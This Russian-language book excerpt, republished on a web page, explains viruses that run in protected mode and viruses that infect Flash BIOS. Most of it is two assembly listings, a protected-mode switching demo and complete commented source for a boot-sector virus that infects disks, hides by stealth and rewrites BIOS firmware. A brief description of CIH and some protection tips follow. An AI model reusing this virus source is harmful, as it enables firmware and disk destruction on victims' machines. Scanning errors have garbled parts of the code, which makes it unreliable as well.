«Protected Mode – там, где тепло и сухо…»

We use cookies. Read the Privacy and Cookie Policy

«Protected Mode – там, где тепло и сухо…»

Почему бы не создать вирус, работающий в защищенном режиме процессора? Действительно, обнаружить такой вирус антивирусной программе будет, мягко говоря, ну очень трудно, если не невозможно.

В качестве горячего примера, реализующего работу в защищенном режиме, уместно привести файловый вирус PM.Wanderer. Это резидентный полиморфный вирус, работающий в защищенном режиме процессоров i386-Pentium. Для своей работы вирус активно использует документированный интерфейс VCPI (Virtual Control Program Interface) драйвера расширенной памяти EMS (EMM386).

При запуске инфицированной программы вирус пытается "узнать", установлен ли в системе EMS-драйвер. Если вышеуказанного драйвера в системе нет, то вирус отдает управление программе-вирусоносителю, завершая при этом свою активность.

Если же драйвер есть, то вирус выполняет последовательный ряд подготовительных действий для выделения памяти под свое тело и переключения процессора в защищенный режим работы с наивысшим уровнем привилегий.

В защищенном режиме вирус пытается контролировать INT21 путем установки двух аппаратных контрольных точек на адреса входа в обработчик прерывания INT 21h и перехода на процедуру перезагрузки компьютера. Помимо прочего, вирус так модифицирует дескрипторную таблицу прерываний, чтобы на прерывания INT 1 (особый случай отладки) и INT 9 (клавиатура) установить собственные дескрипторы обработчиков прерываний. Тем самым достигается тотальный контроль всех нажатий клавиш на клавиатуре и попыток мягкой перезагрузки компьютера.

Результатом вышеописанных действий является копирование вируса в память компьютера и переключение процессора обратно в виртуальный режим работы. Затем вирус освобождает ранее выделенную память DOS в верхних адресах и возвращает управление инфицированной программе.

При заражении файлов вирусный код внедряется в начало СОМ или в середину ЕХЕ-файла. Код вируса "весит" 3684 байт, но, как правило, инфицированные им файлы имеют приращение длины более 3940 байт. Код вируса содержит текст "WANDERER" (листинг 5.6).

Листинг 5.6. Исходный код "WANDERER"

.286

.model tiny .code org 100h

; Подготовка к защищенному режиму работы

; Структура дескриптора

desc_struc STRUC

limit dw 0

baseJ dw 0

base_h db 0

access db 0

rsrvdw 0

desc_struc ENDS

ACC_PRESENT equ 10000000b

ACC_CSEG equ 01000000b

ACC_DSEG equ 00010000b

ACC_EXPDOWN equ 00001000b

ACC_CONFORM equ 00000100b

ACC_DATAWR equ 00000010b

DATA_ACC=ACC_PRESENT or ACC_DSEG or ACC_DATAWR

; 10010010b

CODE_ACC=ACC_PRESENT or ACC.CSEG or ACC_CONFORM ;

10011100b

STACK_ACC=ACC_PRESENT or ACC_DSEG or ACC_DATAWR or ACC.EXPDOWN

; 1001011 Ob

;Размеры сегментов

CSEG SIZE=65535

DSEG_SIZE=65535

STACK_SIZE=65535

; Смещения дескрипторов

CS_DESCR=(gdt_cs-gdt_0)

DS_DESCR=(gdt_ds-gdt_0)

SS_DESCR=(gdt_ss-gdt_0)

Константы значений портов

CMOS_PORT equ 070h

STATUS_PORT equ 064h

SHUTDOWN equ 0FEh

A20_PORT equ 0D1h

A20_ON equ 0DFh

A20_OFF equ 0DDh

INT_MASK_PORT equ 021h

KBD_PORT_A equ 060h

start:

; Инициализация данных для перехода в защищенный режим

call init_protected_mode

; Сам переход

call set_protected_mode

; Возврат в реальный режим

call set_real_mode

; Печатаем сообщение "Light General"

mov ah, 09h

lea dx, qw

int 21h

; Выход в DOS

mov ax, 4C00h

int 21h

; Макрокоманда для установки адреса для дескриптора

; в глобальной таблице дескрипторов GDT.

setgdtentry MACRO

mov [desc_struc.base_l][bx], ax

mov [desc_struc.base_h][bx], dl

ENDM

init_protected_mode PROC

mov ax, ds

mov dl, ah

shr dl, 4

shl ax, 4

; Устанавливаем адрес сегмента данных

; в глобальной таблице дескрипторов

mov bx, offset gdt_ds

setgdtentry

add ax, offset gdtr

adc dl, 0

; Останавливаем адрес сегмента GDT в глобальной таблице дескрипторов

mov bx, offset gdt_gdt

setgdtentry

; Вычисляем абсолютный адрес для сегмента кода ;

в соответствии со значением регистра CS

mov ax, cs

mov dl, ah

shr dl, 4

shl ax, 4

; Устанавливаем адрес сегмента кода ;

в глобальной таблице дескрипторов

mov bx, offset gdt_cs

setgdtentry

; Вычисляем абсолютный адрес для сегмента стека ;

в соответствии со значением регистра SS

mov ax, ss

mov dl, ah

shr dl, 4

shl ax, 4

; Устанавливаем адрес сегмента стека ;

в глобальной таблице дескрипторов

mov bx, offset gdt_ss

setgdtentry

; Перехватываем рестарт.

pushds

mov ax, 40h

mov ds, ax

mov word ptr ds:[0067h], offset shutdown_return

mov word ptr ds:[0069h], cs

pop ds

; Запрещаем маскируемые прерывания

cli

in al, INT_MASK_PORT

or al, OFFh

out INT_MASK_PORT, al

mov al, 8Fh

out CMOS_PORT, al

jmp $+2 mov al, 5

out CMOS_PORT+1, al

ret

init_protected_mode ENDP

; Подпрограмма, переводящая процессор в защищенный режим

set_protected_mode PROC

; Открываем адресную линию А20 для доступа свыше 1 Мбайт

call enable_a20

; Сохранение значения регистра SS для реального режима

mov real_ss, ss

; Перевод компилятора Turbo Assembler в улучшенный режим.

; IDEAL – это не команда и не оператор, это директива, влияющая

; только на интерпретацию дальнейших строк листинга

ideal

р286

;Загружаем регистр глобальной таблицы дескрипторов GDTR

lgdt[QWORD gdt_gdt] ; db OFh,01h,16h dw offset gdt_gdt ;

Переводим процессор в защищенный режим

mov ax, 0001h

lmswax ; db OFh,01h,FOh

; Переводим компилятор Turbo Assembler назад в режим MASM

masm

.286

jmp far flush

; db 0EAh

; dw offset flush

; dw CS_DESCR

flush:

; Останавливаем в регистр SS селектор сегмента стека

mov ax, SS_DESCR

mov ss, ax

; Устанавливаем в регистр DS селектор сегмента данных

mov ax, DS_DESCR

mov ds, ax

; Записываем в строку qw символ "L" и выходим из подпрограммы

mov byte ptr ds:[offset qw+2],"L"

ret

set_protected_mode ENDP

; Подпрограмма, возвращающая процессор в реальный режим

set_real_mode PROC

; Сохраняем значение регистра SP для реального режима

mov real_sp, sp

; Выполняем CPU Reset (рестарт процессора)

mov al, SHUT_DOWN

out STATUS_PORT, al

; Ждем, пока процессор перезапустится

wait_reset:

hlt

jmp wait_reset

; C этого места программа выполняется после перезапуска процессора

shutdown_return:

; Устанавливаем регистр DS в соответствии с регистром CS

pushcs

pop ds

; Восстанавливаем указатели на стек

; по ранее сохраненным значениям

mov ss, real_ss

mov sp, real_sp

; Закрываем адресную линию А20

call disable_a20

; Разрешаем немаскируемые прерывания

mov ax, 000dh

out CMOS_PORT, al

; Разрешаем маскируемые прерывания

in al, INT_MASK_PORT

and al, 0

out INT_MASK_PORT, al

sti

ret

set_real_mode ENDP

; Процедура, открывающая адресную линию А20. После открытия

; адресной линии программам будет доступна память свыше 1 Мбайт

enable_a20 PROC

mov al, A20_PORT

out STATUS_PORT, al

mov al, A20_ON

out KBD_PORT_A, al

ret

enable_a20 ENDP

disable_a20 PROC

mov al, A20_PORT

out STATUS_PORT, al

mov al, A20_OFF

out KBD_PORT_A, al

ret

disable_a20 ENDP

; Здесь сохраняется адрес стека

real_sp dw ?

real_ss dw ?

; Эта строка выводится на экран после работы программы ;

Символ "?" заменяется на "L" в защищенном режиме

qw db 13,10,"?ight General",13,10,"$"

; Глобальная таблица дескрипторов. Нулевой дескриптор

; обязательно должен быть "пустым"

GDT_BEG=$

gdtr label WORD

gdt_0 desc_struc <0,0,0,0,0>;

gdt_gdt desc_struc <GDT_SIZE-10,DATA_ACC,0>

gdt_ds desc_struc <DSEG_SIZE-10,DATA_ACC,0>

gdt_cs desc_struc <CSEG_SIZE-10,CODE_ACC,0>

gdt_ss desc_struc <STACK_SIZE-10,DATA_ACC,0>

GDT_SIZE=($-GDT_BEG)

END start

FLASH BIOS – почему бы и нет! Самая обычная ситуация – это когда код привязан к файловой системе и/или является резидентным (выполняющимся в оперативной памяти). Но что если вирусный код работает в BIOS?!

Да-да, именно, а почему бы и нет. Отлов и уничтожение такого "зверя" потребует от антивирусной программы чего-то большего, а именно – возможности трассировать прерывание INT 16h.

ПРИМЕЧАНИЕ

Прерывание (от англ. interrupt) – сигнал, сообщающий процессору о совершении какого-либо события. Прерывание подразумевает приостановку выполнения текущей последовательности команд и передачу управления обработчику прерывания.

Почему все так сложно и как с этим связан антивирусный монитор?

Все дело в том, что BIOS (AMI, например) обладает некоторыми особенностями работы в микросхемах Flash-памяти, которые базируются на использовании функции EOh прерывания INT 16h. Внесенный в данную область памяти вирус впоследствии запрещает повторно использовать указанную функцию. Как следствие, это запретит антивирусным программам воспользоваться ею в процессе удаления вируса из BIOS компьютера. Как же это все работает?

Алгоритм работы вируса, "живущего" в BIOS, выглядит следующим образом.

1. Вирус проверяет систему на наличие Flash BIOS.

2. Далее идет проверка на зараженность Flash BIOS (если BIOS чист – то "ОК", иначе – осуществить выход).

3. Считывается вектор INT 19h из таблицы (прерывание загрузки).

4. Читает первые пять байт от точки входа INT 19h.

5. Проверяет свободное место в микросхеме BIOS (поиск области нулей).

6. Устанавливает память Flash BIOS в режим записи (нормальное ее состояние в режиме чтения).

7. Запись вируса в найденную свободную область.

8. Запись перехода на вирус в точку входа INT 19h.

9. Возврат Flash BIOS в режим "только чтение".

Вот, собственно, и сам код с комментариями (листинг 5.7):

Листинг 5.7. Код вируса, поражающего BIOS ;

Вирусный код, заражающий Flash BIOS.

; Наиболее опасен тем, что при заражении нельзя будет загрузиться ;

даже с "чистой" дискеты.

org 0

; При входе в boot-сектор 01=загрузочный диск

mov si, 7C00h ;

Устанавливаем 0000h в регистрах DS и ES

хог ах, ах

mov es, ax

mov ds, ax

; Устанавливаем значение стека 0000h:7C00h

cli

mov ss, ax

mov sp, si

sti

; Уменьшаем на 1Кбайт память (0040h:0013h)

dec word ptr [0413h] ;

Получаем размер памяти (при возврате в АХ)

int 12h

mov cl, 6

shl ax, cl

; Устанавливаем новый сегмент вируса

mov es, ax

; Переносим вирусный сектор в вершину памяти

xor di, di

mov cx, 200h

cld

rep movsb

; Сохраняем вектор прерывания INT 13h

mov ax, word ptr [13h*4]

mov word ptr es: [off set i13], ax

mov ax, word ptr [13h*4+2]

mov word ptr es: [offset i13+2], ax

; Устанавливаем новый вектор прерывания INT 13h

mov word ptr [13h*4], offset Handler

mov word ptr [13h*4+2], es

; Переходим в точку ES:Restart (в копии вируса,

; находящейся в вершине памяти)

already_resident:

push es

mov ax, offset Restart

push ax

retf

; Ниже программа работает уже в вершине памяти

Restart:

; Загружаем оригинальный boot-сектор из конца

; root directory и передаем ему управление

xor ах, ах

call int13h

; Готовим регистры для загрузки оригинального boot-сектора

хог ах, ах

mov es, ax

; Сегмент для загрузки

mov bx, 7C00h

; Смещение для загрузки

mov cx, 0002h

; Дорожка 0, сектор 2

xor dh, dh

; Головка 0

mov ax, 0201h ;

Функция 2, количество секторов 1

; Проверяем загрузочный диск. 80h и выше – это адрес жесткого диска,

; иначе – дискета. Копию оригинального boot-сектора храним :

; на жестком диске – дорожка 0, головка 0, сектор 2;

; на дискете – дорожка 0, головка 1, сектор 14

cmp dl, 80h

jae MBR_Loader

; Грузимся с дискеты: изменим сектор и головку

mov с1, 14 ; Сектор 14

mov dh, 1 ; Головка 1

; 3агрузим оригинальный boot-сектор по адресу 0000h:7C00h

MBR_Loader:

call int13h

; Сохраняем в стеке номер диска, с которого грузимся

push dx

; Проверяем, заражен ли Flash BIOS

cmp byte ptr cs:flash_done, 1

je Flash_resident

; Инфицируем Flash BIOS

call flash_BIOS

; Восстанавливаем из стека DX (номер загрузочного диска)

Flash_resident:

pop dx

; 3апускаем оригинальный boot-сектор (JMP FAR 0000h:7C00h)

db 0EAh

dw 7C00h

dw 0

;Скрываем присутствие вируса методом чтения оригинального boot-сектора

Stealth:

; Останавливаем значения сектора, где хранится копия оригинального

; boot-сектора

mov cx, 02h

mov ax, 0201h

; Проверяем, откуда считан boot-сектор (дискета или жесткий диск),

; так как копии хранятся в разных местах

cmp dl, 80h

jae hd_stealth

mov cl, 14

mov dh, 1 hd_stealth:

; Читаем копию оригинального boot-сектора

call int13h

; Выходим из обработчика прерывания

jmp pop_exit

; Проверяем наличие резидентного вируса

restest:

xchgah, al

iret

; Обработчик прерывания INT 13h

Handler:

cmp ax, 0ABBAh

je restest

; Перехватываем только функцию 02h (чтение сектора): проверяем

; номер функции. Если не 2, запускаем оригинальный обработчик

cmp ah, 2

jne jend

; Проверяем номера дорожки и сектора, интересуясь только теми

; секторами, в которых может оказаться вирус :

; дорожка 0, головка 0, сектор 1

cmp cx, 1

jne jend

; Проверим номер головки. Если не 0, то запустим

; оригинальный обработчик

cmp dh, 0

jne jend

tryinfect:

; Считаем сектор в буфер (для дальнейшей обработки).

; Для этого вызовем оригинальный INT 13h

call int13h

jc jend

; Сохраним регистры и флаги (обработчик не должен изменить их)

pushf

push ax

push bx

push cx

push dx

push si

push di

push es

push ds

; Проверяем, заражен ли данный диск вирусом: читаем сигнатуру. ;

Если диск заражен, скрываем присутствие вируса

cmp word ptr es:[bx+offset marker], "LV"

je stealth

; Если диск не заражен, то заражаем

cmp dl, 80h

jb infect_floppy ; Установим номера дорожки, головки и сектора для жесткого

; диска для сохранения оригинального boot-сектора

mov cx, 2

xor dh, dh

jmp write_virus

infect_Floppy:

; Установим номера дорожки, головки и сектора для дискеты

; для сохранения оригинального boot-сектора

mov сх, 14

mov dh, 1

Write_Virus:

; Записываем оригинальный boot-сектор

mov ax, 0301h

call int-lSh

jc pop_exit

; Установим сегментный регистр ES на сегмент с вирусом

push cs

pop es

; Сбросим флаг зараженности Flash BIOS

mov byte ptr cs:flash_done, 0

; 3апишем тело вируса в boot-сектор

xor bx, bx

mov ax, 0301h

mov cx, 0001h

xor dh, dh

call int13h

; Восстановим регистры и флаги (как раз те их значения, которые

; свидетельствуют о том, что boot-сектор только что считали)

Pop_Exit:

pop ds

pop es

pop di

pop si

pop dx

pop cx

pop bx

pop ax

popf

; Выходим из обработчика в вызывающую программу

retf2

; 3апуск оригинального обработчика

jend:

DD 0EAh ; Код команды JMP FAR ;

Оригинальный вектор INT13h

i13 DD 0

; Вызов прерывания INT 13h

int13h proc near

pushf

call dword ptr cs:[i13]

ret

int13h endp

; Первые два байта слова используются как сигнатура

Marker db "VLAD"

; Эта подпрограмма заражает Flash BIOS

Flash_BIOS Proc Near

; Проверим наличие Flash BIOS

mov ax, 0e000h

int 16h

jc no_flash_bios

cmp al, 0FAh

jne no_flash_bios

; Сначала найдем хорошее место для хранения вируса.

; Просканируем память F000h-FFFFh, где обычно находится BIOS,

; на наличие области 1Кбайт нулей. Хватит даже 512 байт памяти,

; но выделить нужно с запасом

infect_Flash:

; Остановим начальный сегмент для поиска

mov ax, 0F000h

mov ds, ax

; Проверим сегмент

New_segment:

; Остановим стартовое смещение

xor si, si

; Остановим счетчик найденных байт

; (величина свободного места для вируса)

xor dx, dx

ok_new_segment:

; Перейдем к следующему сегменту

inc ax

mov ds, ax

; Проверим, есть ли еще место для вируса

cmp ax, 0FFF0h

je no_flash_BIOS

; Проверим, свободно ли место (для скорости проверяем словами)

test16:

cmp word ptr [si], 0

jne new_segment

; Увеличим счетчик размера найденного свободного места

inc dx

; Проверим, достаточно ли найденного места. Сравниваем с 1 Кбайт, но

; так как память сканируем словами, сравниваем с 512 (1 Кбайт=512 слов)

cmp dx, 512

je found_storage

; Увеличим смещение проверяемого байта

inc si

inc si

; Сравним с 16. Переходим к следующему сегменту

; в начале каждого параграфа

cmp si, 16

je ok_new_segment

jmp test16

; B эту точку попадаем, если место найдено

Found_storage:

; Перейдем к началу зоны

sub ax, 40h

mov ds, ax

; Получим требования к сохранению состояния чипа

mov ax, 0E001h

int 16h

; Проверим, сколько памяти необходимо для сохранения состояния

; чипа. Если слишком много, не будем сохранять состояние

cmp bx, 512

jbe save_chipset

; Установим флаг, показывающий, что состояние не сохраняли

mov byte ptr cs:chipset, 1

; Перейдем к записи

jmp write_enable

; Сюда попадаем, если Flash BIOS не обнаружен:

; записывать некуда – выходим

No_Flash_BIOS:

ret

; Сохраним состояние чипа

save_chipset:

; Установим флаг, показывающий, что состояние сохранили

mov byte ptr cs:chipset, 0

; Сохраним состояние

mov al, 2

push cs

pop es

mov di, offset buffer

int 16h

; Записываемся во Flash BIOS

write_enable:

; Повышаем напряжение

mov al, 5

int 16h

; Разрешаем запись во Flash BIOS

mov al, 7

int 16h

; Копируем 512 байт вируса во Flash BIOS

push ds

pop es

xor di, di

mov cx, 512

push cs

pop ds

xor si, si

cld

rep movsb

mov bx, es ; ВХ=сегмент вируса

xor ах, ах

mov ds, ax ; DS=Ta6nHua векторов

mov di, word ptr [19h*4] ; Смещение INT 19h

mov es, word ptr [19h*4+2] ; Сегмент INT 19h

; 3апишем JMP FAR по адресу точки входа в INT 19h

mov al, 0EAh

stosb

mov ax, offset int19handler

stosw

mov ax, bx

stosw

; Понизим напряжение

mov ax, 0E004h

int 16h

; 3ащитим Flash BIOS от записи

mov al, 6

int 16h

; Проверим, сохранялось ли состояние чипа, если нет – выходим

cmp byte ptr cs:chipset, 0

jne No_Flash_BIOS

; Восстановим состояние чипа

push cs

pop es

mov al, 3

mov di, offset buffer

int 16h

jmp No_Flash_BIOS

; Флаг несохранения состояния чипа

chipset db 0

; Флаг присутствия вируса во Flash BIOS

flash_done db 0

; Наш обработчик INT 19h.

int19Handler Proc Near

; Установим сегментный регистр ES в ноль

хог ах, ах

mov es, ax

; Проверим наличие резидентного вируса

mov ax, 0ABBAh

int 13h

; Если вирус присутствует, то запускаем оригинальный

; обработчик прерывания INT 19h

cmp ax, 0BAABh

jne real_int19h

; Перенесем вирус из BIOS в boot-буфер

push cs

pop ds

cld

xor si, si

mov di, 7c00h

mov cx,512

rep movsb

; 3апустим вирус в boot-буфере

mov dl, 80h

jmp goto_Buffer

real_int19h:

; Произведем сброс дисковой подсистемы

xor ax, ax

int 13h

; Проинициализируем значения регистров для загрузки boot-сектора

mov cx, 1

mov dh, 0

mov ax, 0201h

mov bx, 7C00h

; Проверим, откуда грузимся: если DL не нулевой,

; переходим к загрузке с жесткого диска

cmp dl, 0

ja hd_int19h

; Прочтем boot-сектор с дискеты. Если при чтении происходит

; ошибка, то читаем с жесткого диска

int 13h

 jc fix_hd

; Остановим флаг, показывающий присутствие вируса во Flash BIOS

Goto_Buffer:

mov byte ptr es:[7C00h+offset flash_done], 1

; 3апустим boot-сектор, находящийся в boot-буфере

db 0EAh ; Код команды JMP FAR

dw 7c00h

dw 0 Fix_HD:

; Установим номер диска для загрузки (диск С)

mov dl, 80h

HD_int19h:

; Произведем сброс дисковой подсистемы

хог ах, ах

int 13h ;

Прочтем boot-сектор

mov ax, 0201h

int 13h

jc Boot

jmp Goto_Buffer ;

Если не удалось загрузить boot-сектор,

; вызываем прерывание INT 18h

Boot:

int 18h

int19Handler EndP

Flash_BIOS EndP

End_Virus:

; Размер области памяти, необходимый для дополнения

; размера вируса до 510 байт

DupSize equ 510-offset End_Virus

; Заполнение не занятой вирусом части сектора

db DupSize dup (0)

db 55h, 0aah

Можно ли вышеописанный или подобный ему код назвать космополитом, встречающимся в "диком виде"? Да, вполне. В качестве яркого примера, иллюстрирующего, насколько умело можно манипулировать с BIOS, уместно привести оригинальное описание знаменитого "Чернобыля" (www.virusList.com).

Virus.Win9x.CIH также известен как «Чернобыль». Это резидентный вирус, работающий исключительно под операционными системами Windows 95/98. Длина вируса около 1 Кбайт. Впервые был обнаружен на Тайване в 1998 году. Избирательно перепрошивает BIOS: для заражения подходят только некоторые типы материнских плат, к тому же в настройках BIOS не должно быть установлено чтение только. После перепрошивки BIOS вирус приступает к винчестеру, а точнее, уничтожает все его содержимое. При этом вирус использует прямой доступ к диску, обходя тем самым стандартную антивирусную защиту от записи в загрузочные сектора.

Возможные варианты защиты (плюс такие классические варианты, как установка последней версии антивирусной программы с новыми базами):

? настройка BIOS, контроль режима чтение только;

? контроль критических областей с помощью специализированных утилит типа ADINF32.

Возможные варианты лечения:

? удаление вируса и его записей с помощью вакцин типа "АнтиЧернобыль" и т. п.;

? радикальный метод – перепрошивка BIOS/замена микросхем.

Данный текст является ознакомительным фрагментом.